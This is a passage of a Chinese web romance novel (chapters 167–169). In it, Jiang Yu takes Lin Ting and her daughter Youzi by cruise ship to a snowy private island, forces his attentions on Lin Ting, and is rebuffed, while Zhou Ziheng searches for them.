一天查不到林听和柚子的消息,他茶饭不思,日夜不眠。 从林听和柚子不见到,到现在。 十几个小时了,他没喝一口水,没吃一口饭,没合过一眼。 江遇是个聪明人。 他知道周自衡会查到他让江书臣,准备了两千亿的资金流。 也知道周自衡会查下去。 在周自衡和江书臣回到鹏城,顺着这条线索继续往下查时,一无所获。 江遇在国外的瑞士银行确实开了户头。 但他的每一笔出账,都是取出后,付的现金。 查不到他买了哪些产业,钱花在什么地方,每一笔都是大额取现。 江书臣重重地叹了一口气,“阿衡,这男人是准备彻底把小听和柚子藏起来,不让任何人找到他们。” 第167章 你怀孕了? 见周自衡紧锁着眉心,整个神色笼罩在一片浓浓的阴云之中。 江书臣不由拍了拍周自衡的肩,“阿衡,你也别太担心了。阿遇把小听和柚子带走了,总归是不会再伤害她们母女了。他也只是想弥补小听和柚子两母女……” 他这么一安慰,周自衡眉眼间的阴云反而越来越浓。 一口窒闷的气息堵在周自衡的胸口。 洛高将车子漫无目的地开着。 车窗被周自衡按下来。 十月的中旬的凉风罐进来,一阵阵扑面。 周自衡更觉窒息。 做了一个长长的深呼吸,他才问,“书臣,林听会不会和江遇破镜重圆?” 坐在身侧的江书臣,不答,反问,“阿衡,我一直有个问题想问你。你是从什么时候开始喜欢上小听的?” 周自衡没有急着回答江书臣。 他从自己的左手手腕上,取下两个坠着装饰的发绳来。 一个坠的是两颗青色的小苹果。 一个坠的是两颗粉色的水晶草莓。 周自衡将两根发绳,无比珍惜地握在掌心里。 “这根是林听二十一年前,不小心掉下来的。” “这一根,是我刚出狱的时候,她遗落在我那里的。” 林听这才被江遇带走一天一夜。 对于周自衡来说,却漫长如曾经心事无人诉说的整个长达二十余年的青春。 江收臣好像见过小听没剪头发的时候,确实是扎过其中一根发绳。 小听从小到大,就喜欢这些可爱漂亮又无比精致的小发饰。 听闻周自衡这么一说。 江书臣似乎什么都明白了。 二十一年前,林听不过才九岁。 江书臣恍然大悟,“阿衡,不会是从那一次……” 江书臣实在不敢相信,周自衡的感情埋得如此之深。 “阿衡,你九岁那年,被周家人戏耍坑害推入两米深的泳池,小听义无反顾跳下去那一次,你就已经下定了决心将来长大了,要娶小听?” 那个时候,小听才六岁啊。 这个男人藏得真深! 也真是一往情深。 这种从小到大的喜欢,江书臣十分理解。 因为他对夏静姝,也是这样的感情。 江书臣一直是夏静姝的备胎。 夏静姝之前还有一个初恋,也是他们豪门世家里的公子哥。 可是那个公子哥在一连串的桃色事件爆发之前,他把自己隐藏得极好。 人人都以为他是一个极有涵养,极其绅士温柔的人。 可是这个男人在背后同时玩弄多个女人的感情,夏静姝就是其中一个。 那个时候,江书臣看着夏静姝和那个男人从小到大青梅竹马。 虽然他也是守护在夏静姝身边的竹马,可是他始终走不进夏静姝的心里去,夏静姝只有在烦心无人陪的时候,才会找到他。 好在后来,他终于感动了夏静姝。 这段从小到大的爱恋,江书臣终于得到了回响。 他完全理解周自衡对小听如此小心翼翼深深隐藏了这么多年的感情。 也完结理解,周自衡在面对江遇将小听和柚子带走时,他的如此不自信。 这时,周自衡剑眉紧锁,满眼痛楚,“柚子和江遇,始终是血浓于水。” 昨晚仅仅只是一个晚上没有给小柚子讲她最爱的睡前故事,周自衡便十分不习惯了 他不仅想念林听,更是想念每天抱着他的脖子,一声又一声喊着他爸爸的小柚子。 他已经把自己投入到了这个角色里,似乎真的已经成为了柚子的爸爸。 眼见着一切顺理成章,水到渠成,很快就要开花结果,江遇横插这么一脚。 江书臣安慰道,“阿衡,你可能不知道情况。你没出狱之前,小柚子就很讨厌阿遇。又经历了亲自向他求药救妈妈,阿遇心狠拒绝的事情。柚子的脾气我了解,她没那么容易原谅阿遇的。” 说着,又是拍了拍周自衡的肩,“我更看好你和小听。阿遇和小听之间存在很大的问题,从始至终没有信任,中间又有那么多的误会,小听应该是不会回头的。” 周自衡的不自信,是源于林听和江遇曾经那段美好的初恋。 而且他们之间还有柚子。 但他的眼神很快又变得无比坚定,“林听答应要嫁给我,我一定会找到她和柚子。” 江书臣也坚定道,“我也支持你。小听跟着阿遇不会幸福,你更适合小听。阿衡,我们一起找,一定能有线索的。” …… 太平洋某片海域。 一艘巨大的游轮,在茫茫大海之中,看似缓慢地前行着。 柚子醒来的时候,看到了妈妈。 妈妈朝她露着甜美而又温柔的笑容,“柚子,早上好。” “妈妈早上好。”柚子也露出了甜甜的笑容来。 可是望着这陌生的环境,柚子一脸懵圈。 她爬起来朝周围望了望,“妈妈,这是哪里?落落姐姐呢?” 她清楚地记得,那个讨厌的男人非要让她和落落姐姐让他的车,校长也在旁边劝她。 那个讨厌的男人将他拽上了车,还捂住了她的嘴巴。 后来的事情她就不记得了。 林听想安抚柚子,想告诉她,她们会有一段很长的旅途,这段旅途过程艰辛,但她们一定能够回到鹏城。 她刚刚开口,这个时候,房间门被江遇推开。 江遇端着美味的早餐走进来,“柚子醒了,起床洗涮吃早餐了。” 柚子很扫兴地看了江遇一眼,又拉着妈妈的手问,“妈妈,这个讨厌的人怎么会在这里?” 那一刻,江遇端着食物托盘的手,紧紧一攥。 有什么东西在他胸口狠狠刺了一下。 那是女儿亲自捅在他胸口的刀子。 柚子忽然想起来,“妈妈,我想起来了。我被他拽上车的时候,他捂我嘴巴了。就像我们被曹爷爷捂紧嘴巴一样,没一会儿就失去知觉了。” 江遇赶紧走近,急着解释,“柚子,那是爸爸亲自调制的中药制剂,无毒,无害,不会有副作用,不是曹爷爷用的乙醚。” 林听朝江遇瞪过去,“是不是应该给你颁发一面锦旗,夸你没用对柚子用乙醚。作为柚子的父亲,你如此强迫我们母女,你想过会给柚子带来多少伤害和多少心里阴影吗。你还嫌柚子经历得不够惨?” 江遇无言以对。 唯有手中的那些美味的早餐,能够证明他对柚子的关心和疼爱,“柚子,爸爸去给你挤牙膏,洗漱完尝尝米其林大厨做的美味早餐。” 说着,他把食物放在床头柜,去了卫生间。 他为柚子准备的牙刷,是可可爱爱的艾莎公主款的。 因为他知道,柚子最喜欢的就是艾莎公主。 他想,柚子会喜欢吧。 挤了牙膏走出去时,却听柚子拉着林听的手,哭着说: “妈妈,我想爸爸了,这里是哪里,我不想呆在这里。” “爸爸答应我,周末要陪我和落落姐姐一起去秋游的。” “我们没在爸爸身边,爸爸一定很着急,一定很孤单吧。” “妈妈,我好想爸爸!” 林听拭去女儿眼角的泪水,“放心,爸爸很厉害,相信他,他肯定可以找到我们的。” 拿着女儿艾莎公主款可爱牙刷的江遇,在洗漱间门口,停下了脚步。 手中的牙刷被他紧紧攥着。 仿佛要被他捏得粉碎。 他想告诉柚子,爸爸就在这里,他就是爸爸啊。 可是柚子心心念念的爸爸,是远在鹏城的周自衡,不是他。 明明他就在柚子的面前,柚子却如此视而不见。 周遭的空气忽然变得稀薄而又窒息。 好一会儿,江遇都无法正常的呼吸。 可是他还是收拾了自己糟糕的情绪,露出笑容,温柔地走到柚子的面前。 因为他知道,自己种的因,这苦果得自己咽。 “柚子,爸爸把牙膏给你挤好了,起来刷牙吧。” 柚子看也没看江遇一眼,“我要换衣服,你出去。” 这声音冷得像冰一样。 很难想象,它是从一个可爱的小女孩口中说出来的。 江遇刚刚调整好的平稳呼吸,又变得堵堵的,“……爸爸给你准备了很多漂亮的衣服,爸爸给你拿。” 林听从江遇手中,抢过那把崭新的艾莎公主牙刷,“你出去吧,柚子是女孩子,她已经大了,她换衣服的时候你回避一下。” “……”江遇迟了几秒,这才转身离开。 替母女俩掩门的时候,他这才意识到,自己的女儿马上就要六岁了。 确实很快就要长成一个大姑娘了。 他错过了柚子太多的成长。 现在想要弥补,似乎很吃力。 可是,他更加坚定的恒心。 林听的这间豪华套房,在整个游轮的最上层。 一开门,就可以见到广阔无边的茫茫大海。 清爽的海风迎面扑来。 这一片海域很清很蓝。 江遇心想着,只要他足够有耐心,一定可以打动她们母女俩。 房间里面,林听踩着软软的地毯,牵着女儿的小手,来到一间衣帽间。 江遇给她们母女俩住的套房,一共有好几间。 里面的装饰风格,是女儿喜欢的粉粉嫩嫩的。 很多艾莎公主元素的装饰。 看来这男人早就计划好了,要把她们母女俩掳走。 如果没有之前那一系列的伤害,江遇将会是一个很好的父亲。 她始终相信。 可是,这一切都来的太晚了。 迟来的深情,比草贱。 看到江遇给她和柚子准备的,漂亮的衣服,她丝毫高兴不起来。 江遇是知道她和柚子的喜好的,那些衣服饰品,都是她和柚子所喜欢的风格。 既来之,则安之。 这么大的大海,她总不能带着柚子跳海吧。 她拉着柚子的小手,“柚子,游轮上风大,你挑一件你喜欢的衣服,多穿一件外套。” 柚子问,“妈妈,我们能逃跑吗?” 林听摸了摸女儿的手,“不能,这里是大海,应该已经到印度洋了,离鹏城很远很远。我们可能逃不掉,只能等游轮靠岸了再想办法。” 整个游轮都是江遇安排的人。 她和柚子,是插翅也难飞了。 柚子没有心情挑选那些漂亮的衣服,她耷拉着脑袋,“可是我真的好想爸爸。” 这个爸爸,指的是周自衡。 何止是柚子想周自衡了,林听也想了。 她才答应了周自衡,要嫁给他。 周自衡的这三十多年,向来孑然孤独。 她答应了要给他一个家,要和他一起给柚子生弟弟妹妹,见到她和柚子不见了,周自衡一定很着急吧。 她安慰着柚子,“我们要相信爸爸。” 柚子昂起脑袋来,望着她,“妈妈,昨天早上爸爸跟我说,妈妈很快就能有小宝宝了,是真的吗?” 女儿的话语,终于让林听露出了一丝欣慰的笑容。 她想起前晚和周自衡的种种美好,连声音也充满了幸福,“嗯,如果不出意外,我们柚子很快就要当姐姐啦。” 门外。 江遇的耳朵里塞着耳机。 耳机里,能听到柚子和林听的对话。 他在每个角落,都装了隐形的监听器。 柚子和林听的对话,每一句,每一个字,像是一根根尖锐的刺,扎在他的胸口。 那清爽的海风吹过来,不但没让他有半丝爽快,反而窒息的胸腔要炸开了似的。 等柚子去洗漱池刷牙时,江遇重新回到了房间里。 林听正在整理着床上的被子。 江遇冷声道,“这些会有专门的佣人来整理,你不用忙活。” 林听露给江遇一个冷冷的背影,“我不习惯别人动我床上的东西。” 至少这几天,她都得睡在这间屋子。 她不喜欢让别人动。 下一瞬,她的手腕被江遇紧紧拽过去,拽得她有些疼,“嘶,江遇,你弄疼我了。” 江遇手间的力道,丝毫没减轻。 反而越来越用力,带着他的不甘、痛苦与怒意,“你怀孕了?” 挣扎不掉的林听,索性不挣扎了,她皱紧眉心,愤怒地瞪着江遇,“你是不是在房间里装了监听器?” 否则,刚刚她和柚子的对话,他怎么可能知道? 他和周自衡只有前晚才发生过那样的事情。 根本就没有怀孕。 而且,就算是怀孕了,现在也查不出来。 哪有那么巧合,一次就中的。 她只是告诉柚子,如果没有意外的话,她回鹏城与周自衡团聚后,她的第一要紧事,就是给周自衡生个孩子,也圆了柚子想当姐姐的愿望。 江遇要误会就误会吧。 误会了正好。 看到江遇此时此刻满眼的痛苦,她的心里终于有了一丝痛快。 在江遇痛苦的手间力道一松时,她终于有了机会,用力甩开他,“我就是怀了周自衡的孩子,也跟你没有半点关系。” 第168章 又不是没看过 甩开江遇后,林听揉了揉自己的手腕。 这个男人简直就是个疯子,只这么片刻时间,手腕被他拽得一片红痕。 冷白皮的她,这手腕上的红痕太过明显。 江遇见了,心疼地握住她,“听听,对不起……” 这一次,林听没让江遇碰到她的手。 她用力挥开他,满眼都是厌恶,“江遇,你的对不起分文不值。” “……”江遇哑口无言。 林听趁着柚子在里面刷牙洗脸,说了几句肺腑之言: “江遇,你明知道柚子从小就缺父爱。从小就没有家庭的温暖。” “她跟着我颠沛流离,从来没有过过一天温暖舒适的日子。” “她好不容易有了她喜欢的爸爸,有了她喜欢的家庭,你为什么不能成全她?” “就算你不祝福我,你也应该祝福你的亲生女儿吧?” “她和周自衡在一起时,每天都开心快乐,每天脸上都挂着幸福灿烂的笑容。” “可是一见到你,她的笑容就不见了。” “你能不能不要这么自私?” 此时此刻,江遇紧攥着拳头。 拳背和手臂上,浮出一根根愤怒的青筋。 他克制着自己愤怒的情绪,沉声申明道,“我才是柚子的亲生父亲。” 林听嘲讽一笑,“这句话,你也好意思说出口?” “……”哑口无言的江遇将拳头攥得更紧。 听闻洗漱间有动静,江遇不想让柚子看到爸爸妈妈这样吵架。 他松开了拳头,冷冷警告了一声,“我是不会放你们离开的,别动离开我的念头,你们没那个机会。如果你不想让柚子看到大人吵吵闹闹,一会儿带着她一起去餐厅吃早餐。” 床头他特意端来的早餐,早就凉了。 林听趁柚子出来之前,白了他一眼,“放心,我不会像某人那么幼稚,动不动就用绝食来威胁别人。” 柚子从洗漱间走出来时,林听上前牵着她的小手,摸摸她的小脑袋,“柚子,妈妈带你去吃早餐。既然已经来了,我们也好好欣赏一下沿途的美丽海景。” 再苦再难的日子,林听也不想在女儿面前愁眉苦脸的。 她要教会女儿乐观地面对一切。 牵着女儿从江遇面前经过时,她特意把声音提高,“柚子,不用难过,也不用担心,相信爸爸,他肯定已经在找我们了。爸爸可是最厉害的人,他肯定有办法找到我们的。” 这句话,他是特意说给江遇听的。 柚子习惯了妈妈乐观的生活态度。 虽然她很想念远在鹏城的爸爸周自衡,可是她听了妈妈的话,既来之,则安之。 两母女高高兴兴地去吃早餐了。 刚刚一出门,林听和柚子见到了熟人,陈叔,吴婶。 那是江遇在鹏城的佣人。 陈叔和吴婶是一对夫妇,一直在江家做事。 林听像是看到了希望一样。 虽然陈叔和吴婶是江遇的人,但是也是从小看着她长大的,如果她能在陈叔和吴婶身上找到突破,或许能够联系上远在鹏城的周自衡。 只是江遇盯得紧,又随时监视着她。 她暂时没有想到好的办法。 陈叔吴婶见了她,恭恭敬敬地喊了两声,“太太,小姐。” 太太,是林听的新称呼。 小姐,指的是柚子。 这是江遇交代过的。 以至于游轮上的每一个服务生,每一个保镖见到林听和柚子,都是如此对她们尊贵的称呼。 林听这一路从房间走到餐厅,发现游轮上的保镖占大半数。 一个个的,清一色穿着黑色的西装,身材魁梧,个个人高马大。 那些人,肯定都是用来看守她和柚子的。 “太太,小姐,早上好。” 这一路,林听和柚子听得最多的,就是这句话。 江遇真是自作多情,她什么时候答应了他,要当他的江太太? 那么多的保镖和服务生,只有陈叔和吴婶,能够近距离接触林听和柚子。 坐到餐厅后,陈叔递给她一个菜单,“太太,小姐,你们看看要吃点什么,我去吩咐厨房。” 江遇绅士地坐到林听的对面,看着林听,道:“怕你不习惯,所以我让吴婶和陈叔一起跟来了,不过你别打他们的主意。他们是不会帮你联系周自衡的。船上也有信号屏蔽,这里的每一通电话手机,都不能打回国内。” 这几句话,是在警告林听。 也是在警告陈叔和吴婶,让站在餐桌前的陈叔和吴婶,心中突然警铃大作。 直到上船的那一刻,陈叔和吴婶才知道江遇的计划。 他们刚上船,就劝过江遇。 原话是: “江先生,小听好不容易找到了自己的幸福,就快和周家家主结婚了,如果您真的爱她,就成全她,祝福她吧。” “小听这些年过得很不容易,很苦。难道您就不希望她幸福吗?” 当时,别提江遇的脸色有多黑了。 他冷声警告二位,别想帮着林听。 而且,他把陈叔和吴婶的手机全部换了,对外拨出的功能,也做了限制。 对面坐着的林听,把菜单拿给柚子,“柚子,想吃什么吃什么,别饿着肚子。吃饱了,等爸爸来接我们了,我们才有力气跟着爸爸回国。爸爸看到我们,才不会心疼。” 柚子很听林听的话,赶紧点了她喜欢吃的东西,然后望向妈妈,“妈妈,可是爸爸在国内会不会因为想我们,吃下不东西啊?” 林听摸了摸女儿的脑袋,问,“你担心爸爸啊?” 柚子皱着一双细细的柳叶眉,点点头,“嗯。我怕爸爸难过。” 两母女左一个爸爸,右一个爸爸,聊的都是周自衡。 完全将对面的江遇当成空气。 江遇肺要气炸了,却只能忍着。 旁边的陈叔和吴婶,瞧着江遇脸色黑沉沉的,也是无可奈何地摇了摇头。 真是一段孽缘! 得到的时候不珍惜。 失去时再来挽回,晚喽。 陈叔和吴婶,顿时同情起林听和柚子母女俩来。 这时,陈叔和吴婶的儿子小陈,走到江遇的面前,附到他耳前,小声说了一句。 “江总,江书臣和周自衡在查你瑞士银行的钱款去向。” 说完,小陈退到一边。 江遇勾唇冷笑了一声,“没事,让他们查。查到天荒地老,也查不出个所以然。” 那两千个亿的流动资金,确实是江书臣给他准备的。 但是他的每一笔出账,都是大额取现。 他们就是查到死,也不会知道他的钱用在何处。 林听知道小陈对江遇说了什么,一定是周自衡在想办法追踪江遇的去响了。 见江遇如此胸有成竹,可见这个男人有十成的把握,不会被周自衡找来。 她心下沉沉,却冷冰冰提醒,“江遇,送你一句话,强扭的瓜不甜。” 此时此刻,服务生已经端来了他们点的早餐。 江遇把一盘芝士焗蜗牛,端到柚子的面前。 这是柚子点的。 “柚子,你喜欢的。” 柚子把盘子抢过不,朝他哼了哼声,“不用你献殷勤。” 江遇脸色一沉,可他很快收拾了糟糕的情绪,望向林听。 这才迟了片刻,回应她刚刚说过的那句话,“强扭的瓜确实不甜,但我喜欢把它扭下来。” 这瓜又怎么可能不甜? 明明他们从小青梅竹马,有过很多甜蜜的回忆。 他相信,只要时间一久,等他慢慢弥补她们母女俩,他们一家三口一定可以甜甜蜜蜜在一起的。 …… 傍晚。 柚子在浴室里洗着澡。 林听特意叫来了陈叔和吴婶。 她知道房间里装了监听器,所以不敢和陈叔吴婶直接交流。 她把早就写好的字条,塞到陈叔的手里,嘴上却说着别的话题,“陈叔,我想吃水果了,一会儿你帮我端一盘水果过来好吗?” 陈叔看了纸条上的字,“太太,你想吃哪些水果呢,我去准备一下。” 林听又说,“都可以,不要冻过的,常温就好,最好有桔子。陈叔,你别叫我太太了,还是和以前一样,叫我小听吧,本来我和江遇也不是夫妻。” 其实,他们在纸条上对着话。 陈叔写道:小听,我们没有任何办法联系到国内的人,只有等上岸了再想别的办法。” 林听一筹莫展。 看来,只能去到江遇所说的,那个已经下雪的地方了。 一切,从长计议。 想要一时半会儿,逃脱出江遇的魔抓,是不可能了。 柚子洗过澡后,林听也去洗了一个澡,然后把柚子哄睡了。 柚子从小跟着她颠沛流离,也习惯了换睡觉的地方。 她倒是不认床。 只是睡着之前,一直念叨着,她想爸爸了。 又说她怕爸爸在鹏城一个人会孤单,会不好好吃饭。 睡前,柚子还许愿,说是希望爸爸好好的。 那个爸爸,当然是指周自衡。 这些话,江遇通过监听,都听见了。 柚子睡着后,江遇出现在了这间套房。 幽暗的月下光,他手里拿着一件睡袍,朝着林听走过来。 进来之前,他已经洗过澡了。 只是又去处理了一些事情,这才换了身上的黑色衫衣和西裤。 挺拔英俊的身影,来到床边,他快速解开一排黑色的衬衣扣子。 衬衣衣角被风吹起来,露出一排结实有力的胸腹肌肉,一块一块的,在幽幽月光之下,劲瘦有力。 这个男人身上没有一丝伤。 每一块肌肉都是完好无损的。 不像是周自衡,胸口,腰腹,都带着疤痕。 林听忽然想起周自衡的那些一道道触目惊心的疤痕来。 见到江遇在她面前脱衣服,她很是反感,“你要干什么?” 此刻,那件黑色的衬衣,已经被江遇全部脱了下来。 男人整个上半身,露出了精瘦的力量。 他试图让林听想起,他们的曾经来,“我身上哪个地方,你没看过?” 别说看光了,摸都被她摸光过。 说话间,一件湖蓝色的冰丝睡袍,穿在了男人的身上。 腰间的被皮被他解开,快速脱掉了裤子。 这个男人穿着黑衬衣和西裤的时候,优雅又帅气。 一身睡袍在身,又是另一种慵懒的迷人之姿。 这些年,除了林薇薇想爬上他的床以外,还有很多别的女人。 可是他从来没有给过任何一个女人,任何一次机会。 哪怕他心里记恨了林听五年,却为林听守身如玉了五年。 林听身上的被子被掀开。 江遇钻进去,躺下来。 结实有力的双臂,环住了林听纤细的腰身。 林听立即紧绷着全身。 碍于柚子就躺在身边,她不敢声音太大,压低了声音,怒道,“江遇,你放尊重一点。” “如果你不想把柚子吵醒,你可以再大声一点。”江遇静静地抱着她,却并没有进一步动作。 他太久没有像此刻一样,安安静静地抱着她了。 可是她太抗拒了,全身的肌肉紧绷着。 一双纤细的手,用力地掰着他的手臂。 越是抗拒,他越不安分。 大掌落到她的睡衣裙摆处,轻轻往上一捞,“你要是再推开我,我不保证接下来会做出些什么。” “卑鄙无耻!”林听压着声音,怒吼了一声。 那只大掌还想往上,“你身上的哪个地方,我没有摸过?” 深夜里,这声音在海风阵阵中,透着江遇无尽的痛苦。 曾经他们耳鬓厮磨,恩爱缠绵。 他们做尽了情侣之间的所有事情。 林听最喜欢他吻她那颗有着一颗黑痣的耳畔。 可是此刻,他还还没有吻她,她已经抗拒得全身崩紧。 男人的力道,到底是比女人大。 林听推不开这只不安分的大掌。 可是下一瞬,她翻了个身,躺在床上一个抬腿提膝,顶向江遇的双腿之间。 怕柚子醒来,她的声音依然压得很低,“你给我滚下去!” 嘶……江遇在一阵吃痛中,蜷起腰腹。 林听死死地瞪着他,“江遇,柚子还在这里,你能不能别这么下流?” 即使江遇疼痛难忍,依旧面不改色。 很快又将林听禁锢在怀里,“我说了,只是抱一抱。” 那一踢,代表了林听坚决的态度。 她现在是要为周自衡守身如玉吗? 心脏碎成渣渣的江遇,嫉妒得发狂。 越是嫉妒,越是紧紧禁锢着林听,丝毫不松手。 哪怕此时此刻林听已经狠狠咬住了他的手臂。 江遇依然没有松手。 血肉撕裂的疼痛,直冲大脑。 江遇依然面不改色,无比深情地拥紧林听。 他有太久太久,没有像今晚这样,紧紧地抱着他的听听了。 即使被她咬住的手臂已经血肉模糊,“听听,我喜欢你在我身上留下印记的样子。你记不记得,我们第一次的时候,你也是疼得这样用力咬我?” 那是高考后,某个蝉鸣蛙叫的夜晚。 在一处风景优美的荷塘边,小木屋,他们偷偷尝了禁果。 那晚,林听疼得直掉眼泪,紧紧咬住了他的手臂,他一动不敢动了。 那天晚上,不算太完美,却承载了两个人太多的回忆。 林听讨厌江遇提起过往。 讨厌自己有着一段愚蠢的青春。 他越是提,她越是用力咬住他的手臂,似乎要把这块血肉给生生咬下来…… 第169章 你会喜欢上的 林听恨江遇。 恨她毁了她所有的青春。 他不提那段过往还好,一提起来,胸口便疼得窒息。 牙齿撕咬的力量,如同绞盘,生硬地将江遇原来相连的血肉从手臂上剥离。 伴随着这阵撕裂感,江遇疼得眼前一黑。 冷汗很快浸湿了后背。 可是他依然保持着将林听禁锢在怀的力量,丝毫不松手,那样面不改色地说道: “咬吧!” “如果能让你不那么恨我。” “如果能让你心里的痛苦减轻几分,就是咬掉我的肉我也愿意。” 他做了太多对不起林听的事情。 不管林听对他做什么,他都心甘情愿。 包括要他的命。 许久许久后,林听咬到咬不动了。 满嘴都是又腥又咸的血腥味,这才松开江遇手臂上的血肉。 她感受着身后这个男人的执著与疯狂,低低地骂了一句,“江遇,你这个疯子!” 手臂早已血肉模糊。 银色的月光下,一大排牙齿印深深的嵌入江遇的血肉。 这伤口,江遇看也不看一眼。 听闻林听的低低骂声中,带着压抑又痛苦的哭腔,他心疼地拭了拭她眼角的泪水,“听听,对不起,我知道我错的有多离谱。可是如果你不能回到我的身边,我快要活不下去了。” 林听讨厌江遇这迟来的深情。 他疯狂的行为,唤起了她对他所有的恨意。 泪水止不住。 呼吸也带着浓浓的哽咽。 江遇爬起来,借着月色见到她如此痛苦的模样,知道自己这疯狂的模样让她很抗拒,他只好掀开被子,重新替她盖好。 又抽了一张纸巾,替她擦着泪,“你要是讨厌我,我睡在外面的沙发上。你一叫我,我就进来,就像以前一样。乖,别哭了!” 这眼泪一颗颗的落下来,每一颗都落进了江遇的心里。 他心疼极了。 明明从始至终,他从来没有对林听变过心,可为什么他总是如此笨拙,总是惹她哭。 “我现在就出去。” 离开之前,他又替柚子盖好了被子,这才带着心中难以诉说的痛苦,走了出去。 掩门的那一刻,看见林听躺在床上的侧影,依旧抽泣着,颤抖着,他想死的心都有了。 这一夜,江遇没有去处理手臂的伤。 他躺在林听和柚子母女房间外的那间客厅沙发上,一夜未眠。 天还没有亮,江遇来到了游轮最顶层的夹板上。 这是一艘能够容纳三千游客的五层大游轮。 整艘轮船,没有其余的游客。 只为江遇和林听柚子三人服务。 偌大的甲板上,江遇坐在种满橡皮树和散尾葵的花箱桌椅前,一个人静静地吹着海风。 陈叔接到他的电话,赶紧拎来了一个医药箱,“江先生,你是哪里受伤了吗,要不要我叫医生过来?” 江遇没说话。 他把陈叔拎来的医药箱挪过来,又捞起自己的黑色衬衣衣袖。 一截精瘦有力的手臂露出来。 手臂上,是血肉模糊的牙齿印,那块肉像是要与手臂剥离开来似的,看着惨不忍睹。 陈叔关切道,“江先生,你这是怎么了?” 江遇依然没有回答,他把几张撕碎后,又被粘回原样的纸张拍在桌面,又用手机压着。 这才开了一瓶碘伏,一整瓶倒在自己被咬伤的手臂处。 海风吹着落在地面的碘伏,也吹着那几张被压在手机下的碎纸张。 他冷声提醒,“陈叔,看看。” 陈叔大概猜测到,那几张纸是什么了。 那是昨晚他和林听在纸上的对话。 拿起来一看,果然如此。 江遇眉目清冷地看着陈叔,“陈叔,你也是江家的老人了。你是看着我和林听一路走过来的,我们曾经的青梅竹马,你是见证人。难道你也不看好我,你也要帮着她离开我?” 既然话已说到如此份上,陈叔斗胆道,“江先生,你应该知道这些年小听过得有多苦。恕我直言,小听所有的苦难,林家有四成责任,其余六成责任全在你。小听跟着你不会幸福,你为何要把她绑在身边?” 手中的碘伏瓶,被江遇用力拍在桌面。 咚一声声响! 吓得陈叔身子一紧。 这些年江遇没怎么发过脾气。 陈叔知道,惹怒了他没好果子吃,只好缓和了语气,道,“江先生,对不起!我不该管这些事情。您放心,我不会坏你的事情的。” 江遇怎么可能看不穿陈叔的心思。 以他对陈叔的了解,这声对不起只是缓兵之计。 他哼了一声,道,“留你在林听母女俩身边,只是不想让她身边都是生人。别以为这样,你就能帮她逃离。” 说着,他拿起一圈纱布,三下两下缠在自己的手臂,简单的打了一个结,起身离开了。 一个小时后。 陈叔的儿子小陈,又来到了江遇的面前,“江先生,周家家主和江书臣,在查所国内有游轮公司的交易记录,他们可能很快就会查到国外。” 江遇丝毫不放在眼里,“没关系,让他们查。” 这艘游轮,他是在国外买的。 几经转手,才到他手里。 等他们真正查到,这茫茫大海的航线总是查不到的。 就算查到了,可能也是猴年马月。 …… 游轮上有许多儿童游玩项目。 那是江遇特地为了柚子,加装改造的。 这一天早上,吃过早餐后,江遇在柚子面前,温柔道。 “柚子,游轮下面一整层都是儿童游乐场,爸爸带你下去玩,好不好?” 柚子放下手中的刀叉,白了江遇一眼,“你配当爸爸吗?” “……”江遇被怼得哑口无言。 柚子替他回答道,“不配!你是这个世界上最差劲,最糟糕的爸爸。所以你不是我爸爸。我要给我爸爸写信,你最好离我远一点。” 说着,柚子就从包包里拿出纸和竹来。 那是她找服务生小姐姐要的纸和笔。 她在纸上写着:爸爸,我好想你。不知道柚子不在的时候,你有没有好好吃饭,有没有好好睡觉。没有听到你给柚子讲的睡前故事,柚子一点也不开心…… 江遇在旁边看着。 这哪里是柚子写给周自衡的信。 这简直是捅进他心窝子里的刀子。 他克制着自己翻涌的情绪,依旧温柔道,“柚子,这些信周自衡收不到的。” 柚子抬起头来,理直气壮道,“可是我可以每天写下来,等我爸爸找到我的时候拿给他看,让他知道我每在都有想念他,很想很想。” 江遇没有再说什么。 他知道他和柚子之间碎掉的父女情,很难修复。 柚子做再过分的事,说再过分的话,他都得承受着。 只是这种滋味,比拿鞭子抽他还要难受。 他宁愿柚子也像林听一样,狠狠咬他一口,哪怕捅他一刀也好。 …… 五日后,这艘巨轮终于要靠岸了。 林听和柚子见到了一个小岛。 岛上有城堡。 像是童话一样。 那片城堡,那片山,那里的所有都被一片茫茫大雪笼罩着。 站在窗边,寒气阵阵。 柚子趴在窗前,指着那处小岛,问,“妈妈,那是什么地方?” 这时,一件厚外套,轻轻落在柚子的身上,“柚子,以后那里就是我们一家三口的家了。” 寒冷的风从窗户缝透进来,江遇顺着柚子的目光,望了望近在眼前一片雪白的小岛,又问,“柚子喜欢下雪吗?妈妈可是很喜欢下雪的地方。” 还是在十年前,他答应过林听,要在下雪的城市买一栋楼房。 到了冬天,他就带她去那里度假。 这个承诺,直到十年后的今天,他才帮她实现。 江遇心里挺内疚的。 他又对小柚子说,“柚子,到了下雪的岛上,爸爸带你去打雪仗,堆雪人,好不好?” 柚子并没有回应江遇。 她把江遇当作是透明人一样,看也没看一眼,并且很嫌弃地扯掉了那件披在她身上的厚衣服。 衣服落在深色的地毯上。 也像是有什么东西,重重地落在江遇的胸口一样。 堵堵的,涩涩的。 这时,柚子抬起头来,望向林听,“妈妈,我冷!” 江遇问,“柚子,你是不喜欢爸爸拿的这件外套吗,爸爸去给你换一套。” 柚子并不理会江遇。 “妈妈去给你拿吧。” “还是我去吧。” 江遇跟在林听后面,走到了里面的衣帽间。 林听随意给女儿拿了一件外套,看着身前的江遇,“难道你还不明白吗。柚子不是不喜欢你刚刚拿的那件衣服。是不喜欢你拿的任何一件衣服。但凡跟你有关的任何事情,任何东西,她都不喜欢。你以为你把我们带到那个充满童话的小岛上,就能真正的过上一家三口幸福快乐的生活?” 江遇用沉沉的深呼吸声,来回应林听的冷声提醒。 他什么也没说,转身去衣橱里,拿了一件林听的外套,披到她的身上,“一会儿上岛了很冷,多穿一件,别冻着了。” 那件外套被林听扯下来,掉在地毯上,“我也不喜欢你拿的衣服。” 几分钟后,游轮在靠着小岛港口的深水区停下来。 江遇又领着柚子和林听,上了一艘小船,坐上小船上了岸。 整座岛屿都被江遇买下来了。 来港口接应的人,一个个的,喊着:江先生,江太太,柚子小姐。 岛屿上,堆了一层足有几公分厚的雪。 上岛之前,柚子和林听已经围上了围巾,戴上了帽子,手套,耳罩。 即使这样,依旧寒意阵阵。 但是看到那些从天空中飘落下来的,鹅毛大的雪花,柚子昂着脑袋,露出了难得的笑容。 “哇,妈妈,原来雪花是长这样子的,好美啊。” 戴着手套的小手,摊开来,伸手一接。 雪花落在柚子的掌心。 柚子嘴里哈着热气,欢快地看着雪花,“妈妈,我第一次见到雪哎!” 